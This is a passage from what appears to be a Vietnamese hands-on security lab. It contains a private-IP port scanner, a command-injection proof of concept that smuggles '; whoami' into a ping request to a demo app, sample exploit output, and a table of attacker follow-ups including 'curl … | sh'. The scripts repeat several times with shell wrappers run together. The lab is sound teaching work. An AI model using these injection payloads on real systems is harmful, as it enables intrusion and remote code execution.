return sorted(ports)
def probe(ip, port, timeout):
# Thử "gõ cửa" một port bằng một kết nối TCP.
# Ba kết quả có thể: open / closed / filtered.
# [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
# chương trình treo
s.settimeout(timeout)
try:
# [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
s.connect((ip, port))
return port, "open"
except ConnectionRefusedError:
return port, "closed" # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
except (socket.timeout, OSError):
return port, "filtered" # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"
def service_name(port):
try:
return socket.getservbyport(port, "tcp")
except OSError:
return "?"
def main():
ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
args = ap.parse_args()
# [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
ip = ipaddress.ip_address(args.ip)
# [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
if not (ip.is_private or ip.is_loopback):
raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
# [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
# COMMON; gõ sai thì thoát kèm lý do
try:
ports = parse_ports(args.ports) if args.ports else COMMON
except ValueError as e:
raise SystemExit("Loi port: " + str(e))
# [4] Giới hạn số port mỗi lần quét
if len(ports) > MAX_PORTS:
raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")
print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
# [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
start = time.time()
# [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
with ThreadPoolExecutor(max_workers=100) as pool:
# [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
# trả danh sách (port, trạng thái)
results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
count = {"open": 0, "closed": 0, "filtered": 0}
print("PORT TRANG THAI DICH VU")
for port, state in results:
count[state] += 1
if state == "open":
print(f"{port:<7} {state:<11} {service_name(port)}")
print(f"\nmo: {count['open']} dong: {count['closed']} im lang (filtered): {count['filtered']} "
f"(xong sau {time.time() - start:.1f} giay)")
if __name__ == "__main__":
main()
EOF@'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1 (quét các port phổ biến)
# python3 port_scan.py 192.168.1.1 -p 1-1024
# python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor
COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000 # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy
def parse_ports(text):
# Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
# "1-1024" hoặc kết hợp "22,80,8000-8100"
ports = set()
for part in text.split(","):
part = part.strip()
if "-" in part:
a, b = part.split("-", 1)
ports.update(range(int(a), int(b) + 1))
elif part:
ports.add(int(part))
if not ports or min(ports) < 1 or max(ports) > 65535:
raise ValueError("port phai nam trong khoang 1-65535")
return sorted(ports)
def probe(ip, port, timeout):
# Thử "gõ cửa" một port bằng một kết nối TCP.
# Ba kết quả có thể: open / closed / filtered.
# [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
# chương trình treo
s.settimeout(timeout)
try:
# [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
s.connect((ip, port))
return port, "open"
except ConnectionRefusedError:
return port, "closed" # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
except (socket.timeout, OSError):
return port, "filtered" # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"
def service_name(port):
try:
return socket.getservbyport(port, "tcp")
except OSError:
return "?"
def main():
ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
args = ap.parse_args()
# [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
ip = ipaddress.ip_address(args.ip)
# [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
if not (ip.is_private or ip.is_loopback):
raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
# [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
# COMMON; gõ sai thì thoát kèm lý do
try:
ports = parse_ports(args.ports) if args.ports else COMMON
except ValueError as e:
raise SystemExit("Loi port: " + str(e))
# [4] Giới hạn số port mỗi lần quét
if len(ports) > MAX_PORTS:
raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")
print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
# [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
start = time.time()
# [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
with ThreadPoolExecutor(max_workers=100) as pool:
# [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
# trả danh sách (port, trạng thái)
results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
count = {"open": 0, "closed": 0, "filtered": 0}
print("PORT TRANG THAI DICH VU")
for port, state in results:
count[state] += 1
if state == "open":
print(f"{port:<7} {state:<11} {service_name(port)}")
print(f"\nmo: {count['open']} dong: {count['closed']} im lang (filtered): {count['filtered']} "
f"(xong sau {time.time() - start:.1f} giay)")
if __name__ == "__main__":
main()
'@ | Set-Content -Path port_scan.py -Encoding asciicat > port_scan.py <<'EOF'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1 (quét các port phổ biến)
# python3 port_scan.py 192.168.1.1 -p 1-1024
# python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor
COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000 # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy
def parse_ports(text):
# Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
# "1-1024" hoặc kết hợp "22,80,8000-8100"
ports = set()
for part in text.split(","):
part = part.strip()
if "-" in part:
a, b = part.split("-", 1)
ports.update(range(int(a), int(b) + 1))
elif part:
ports.add(int(part))
if not ports or min(ports) < 1 or max(ports) > 65535:
raise ValueError("port phai nam trong khoang 1-65535")
return sorted(ports)
def probe(ip, port, timeout):
# Thử "gõ cửa" một port bằng một kết nối TCP.
# Ba kết quả có thể: open / closed / filtered.
# [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
# chương trình treo
s.settimeout(timeout)
try:
# [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
s.connect((ip, port))
return port, "open"
except ConnectionRefusedError:
return port, "closed" # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
except (socket.timeout, OSError):
return port, "filtered" # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"
def service_name(port):
try:
return socket.getservbyport(port, "tcp")
except OSError:
return "?"
def main():
ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
args = ap.parse_args()
# [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
ip = ipaddress.ip_address(args.ip)
# [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
if not (ip.is_private or ip.is_loopback):
raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
# [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
# COMMON; gõ sai thì thoát kèm lý do
try:
ports = parse_ports(args.ports) if args.ports else COMMON
except ValueError as e:
raise SystemExit("Loi port: " + str(e))
# [4] Giới hạn số port mỗi lần quét
if len(ports) > MAX_PORTS:
raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")
print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
# [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
start = time.time()
# [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
with ThreadPoolExecutor(max_workers=100) as pool:
# [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
# trả danh sách (port, trạng thái)
results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
count = {"open": 0, "closed": 0, "filtered": 0}
print("PORT TRANG THAI DICH VU")
for port, state in results:
count[state] += 1
if state == "open":
print(f"{port:<7} {state:<11} {service_name(port)}")
print(f"\nmo: {count['open']} dong: {count['closed']} im lang (filtered): {count['filtered']} "
f"(xong sau {time.time() - start:.1f} giay)")
if __name__ == "__main__":
main()
EOFDùng để xem cổng 9500 có mở không, trước khi biết nó là dịch vụ gì:
python3 port_scan.py 127.0.0.1 -p 9500py port_scan.py 127.0.0.1 -p 9500python3 port_scan.py 127.0.0.1 -p 9500Dang quet 127.0.0.1 (1 port), timeout 2.0s moi port...
PORT TRANG THAI DICH VU
9500 open ?
mo: 1 dong: 0 im lang (filtered): 0Biết được: có một dịch vụ ở cổng 9500. Chưa biết: dịch vụ đó an toàn hay không. Việc đó cần thử bằng dữ liệu.
BƯỚC 2Tạo exploit_poc.py ở Terminal B
"PoC" (proof of concept) nghĩa là bằng chứng chứng minh: chạy một lệnh vô hại (whoami, chỉ in tên người dùng) để chứng minh lỗi tồn tại, không làm gì gây hại.
exploit_poc.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.
Xem mã Python · có tô màu và số dòng
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.
Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket
def send(host, port, line):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((host, port))
s.sendall(line.encode())
chunks = []
while True:
chunk = s.recv(8192)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks).decode("utf-8", "replace")
def main():
ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
ap.add_argument("--port", type=int, default=9500)
ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
args = ap.parse_args()
try:
print("1) Dung dung (du doan): gui PING binh thuong")
print(send(args.host, args.port, f"PING {args.host}\n"))
separator = "&" if args.server_os == "windows" else ";"
print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
print(" Du lieu gui di:", payload.strip())
reply = send(args.host, args.port, payload)
print(reply)
except ConnectionRefusedError:
raise SystemExit(
f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
"Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
"hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
except (TimeoutError, socket.timeout):
# Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
raise SystemExit(
f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
"Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
"mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
"dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
"Windows Defender Firewall tren Windows).")
except OSError as e:
raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")
# Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
# dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
if "TU CHOI" in reply or reply.startswith("LOI"):
print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
else:
print(">>> Khong ro ket qua, kiem tra lai log server.")
if __name__ == "__main__":
main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
cat > exploit_poc.py <<'EOF'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.
Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket
def send(host, port, line):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((host, port))
s.sendall(line.encode())
chunks = []
while True:
chunk = s.recv(8192)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks).decode("utf-8", "replace")
def main():
ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
ap.add_argument("--port", type=int, default=9500)
ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
args = ap.parse_args()
try:
print("1) Dung dung (du doan): gui PING binh thuong")
print(send(args.host, args.port, f"PING {args.host}\n"))
separator = "&" if args.server_os == "windows" else ";"
print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
print(" Du lieu gui di:", payload.strip())
reply = send(args.host, args.port, payload)
print(reply)
except ConnectionRefusedError:
raise SystemExit(
f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
"Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
"hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
except (TimeoutError, socket.timeout):
# Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
raise SystemExit(
f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
"Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
"mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
"dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
"Windows Defender Firewall tren Windows).")
except OSError as e:
raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")
# Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
# dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
if "TU CHOI" in reply or reply.startswith("LOI"):
print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
else:
print(">>> Khong ro ket qua, kiem tra lai log server.")
if __name__ == "__main__":
main()
EOF@'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.
Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket
def send(host, port, line):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((host, port))
s.sendall(line.encode())
chunks = []
while True:
chunk = s.recv(8192)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks).decode("utf-8", "replace")
def main():
ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
ap.add_argument("--port", type=int, default=9500)
ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
args = ap.parse_args()
try:
print("1) Dung dung (du doan): gui PING binh thuong")
print(send(args.host, args.port, f"PING {args.host}\n"))
separator = "&" if args.server_os == "windows" else ";"
print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
print(" Du lieu gui di:", payload.strip())
reply = send(args.host, args.port, payload)
print(reply)
except ConnectionRefusedError:
raise SystemExit(
f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
"Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
"hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
except (TimeoutError, socket.timeout):
# Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
raise SystemExit(
f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
"Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
"mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
"dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
"Windows Defender Firewall tren Windows).")
except OSError as e:
raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")
# Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
# dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
if "TU CHOI" in reply or reply.startswith("LOI"):
print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
else:
print(">>> Khong ro ket qua, kiem tra lai log server.")
if __name__ == "__main__":
main()
'@ | Set-Content -Path exploit_poc.py -Encoding asciicat > exploit_poc.py <<'EOF'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.
Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket
def send(host, port, line):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((host, port))
s.sendall(line.encode())
chunks = []
while True:
chunk = s.recv(8192)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks).decode("utf-8", "replace")
def main():
ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
ap.add_argument("--port", type=int, default=9500)
ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
args = ap.parse_args()
try:
print("1) Dung dung (du doan): gui PING binh thuong")
print(send(args.host, args.port, f"PING {args.host}\n"))
separator = "&" if args.server_os == "windows" else ";"
print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
print(" Du lieu gui di:", payload.strip())
reply = send(args.host, args.port, payload)
print(reply)
except ConnectionRefusedError:
raise SystemExit(
f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
"Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
"hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
except (TimeoutError, socket.timeout):
# Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
raise SystemExit(
f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
"Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
"mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
"dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
"Windows Defender Firewall tren Windows).")
except OSError as e:
raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")
# Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
# dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
if "TU CHOI" in reply or reply.startswith("LOI"):
print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
else:
print(">>> Khong ro ket qua, kiem tra lai log server.")
if __name__ == "__main__":
main()
EOFÝ tưởng của file, đọc trong hàm main():
| Phần | Ý nghĩa |
|---|---|
send(host, port, line) | Mở một kết nối TCP, gửi đúng một dòng, đọc hết phản hồi rồi trả về — dùng lại cho cả hai lần gửi bên dưới. |
payload = f"PING 127.0.0.1{separator} echo ...{separator} whoami" | Ghép dấu phân cách của shell (; trên macOS/Linux, & trên Windows nếu dùng --server-os windows) quanh một chữ đánh dấu và lệnh whoami. |
if "TU CHOI" in reply: ... elif "...DA-CHAY..." in reply: ... | Tự đọc phản hồi để tự kết luận: bị từ chối (đã vá) hay lệnh thứ hai đã chạy (còn lỗi) — không cần đọc log bằng mắt. |
BƯỚC 3Chạy PoC, nhắm vào Terminal A
python3 exploit_poc.py 127.0.0.1py exploit_poc.py 127.0.0.1python3 exploit_poc.py 127.0.0.11) Dung dung (du doan): gui PING binh thuong
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.05 ms
2) KHAI THAC: gan them lenh 'whoami' sau dau ';' trong tham so dia chi
Du lieu gui di: PING 127.0.0.1; echo ---LENH-THU-HAI-DA-CHAY---; whoami
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.06 ms
---LENH-THU-HAI-DA-CHAY---
longnguyen
>>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.
>>> Day la command injection: server ghep chuoi nguoi dung vao shell.Hai máy thật: thay 127.0.0.1 bằng IP của Máy A (Terminal A, bước 3) trong cả hai lệnh ở trên — không sửa gì khác. Kết quả giống hệt; dòng tên người dùng vẫn là của Máy A, chứng minh lệnh chạy xuyên qua mạng, không phải trên máy đang gõ lệnh.
; echo …; whoami. Dòng longnguyen ở cuối là tên người dùng thật của máy đang chạy Terminal A — do lệnh whoami đã chạy, dù "HomeLand" chỉ định nghĩa tính năng ping. Terminal B chưa từng đăng nhập vào Terminal A.Nếu đây là lỗi thật, kẻ xấu có thể làm được gì?
PoC trong bài chỉ chạy whoami để chứng minh, nhưng cùng một lỗ hổng cho phép chạy bất kỳ lệnh nào mà hệ điều hành hiểu được:
| Có thể làm | Ví dụ lệnh (chỉ để biết, không chạy) |
|---|---|
| Đọc file bất kỳ trên máy | cat, type |
| Xoá hoặc sửa file | rm, del |
| Xem máy đang chạy gì, có phần mềm bảo vệ nào | ps, tasklist |
| Tải thêm phần mềm độc hại về chạy tiếp | curl … | sh |
| Dùng máy bị chiếm làm bàn đạp dò các máy khác trong mạng | lặp lại đúng bài 8, nhưng từ bên trong |
Đọc thêm: muốn soát nhiều thiết bị cùng lúc rồi tự xếp mức rủi ro? (không bắt buộc)
nmap_report.py đọc file kết quả của nmap (cờ -oX, như đã dùng ở bài 8) và in ra mức rủi ro CAO/TRUNG BÌNH/THẤP cho từng cổng mở của từng thiết bị, theo một bảng tra có sẵn trong code (Telnet và Remote Desktop luôn ở mức CAO, xem bài 8).
nmap_report.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.
Xem mã Python · có tô màu và số dòng
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
# nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
# python3 nmap_report.py quet.xml
# python3 nmap_report.py quet.xml --so thiet-bi.csv (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET
# port -> (muc, ly do ngan, viec nen lam)
RISK = {
21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
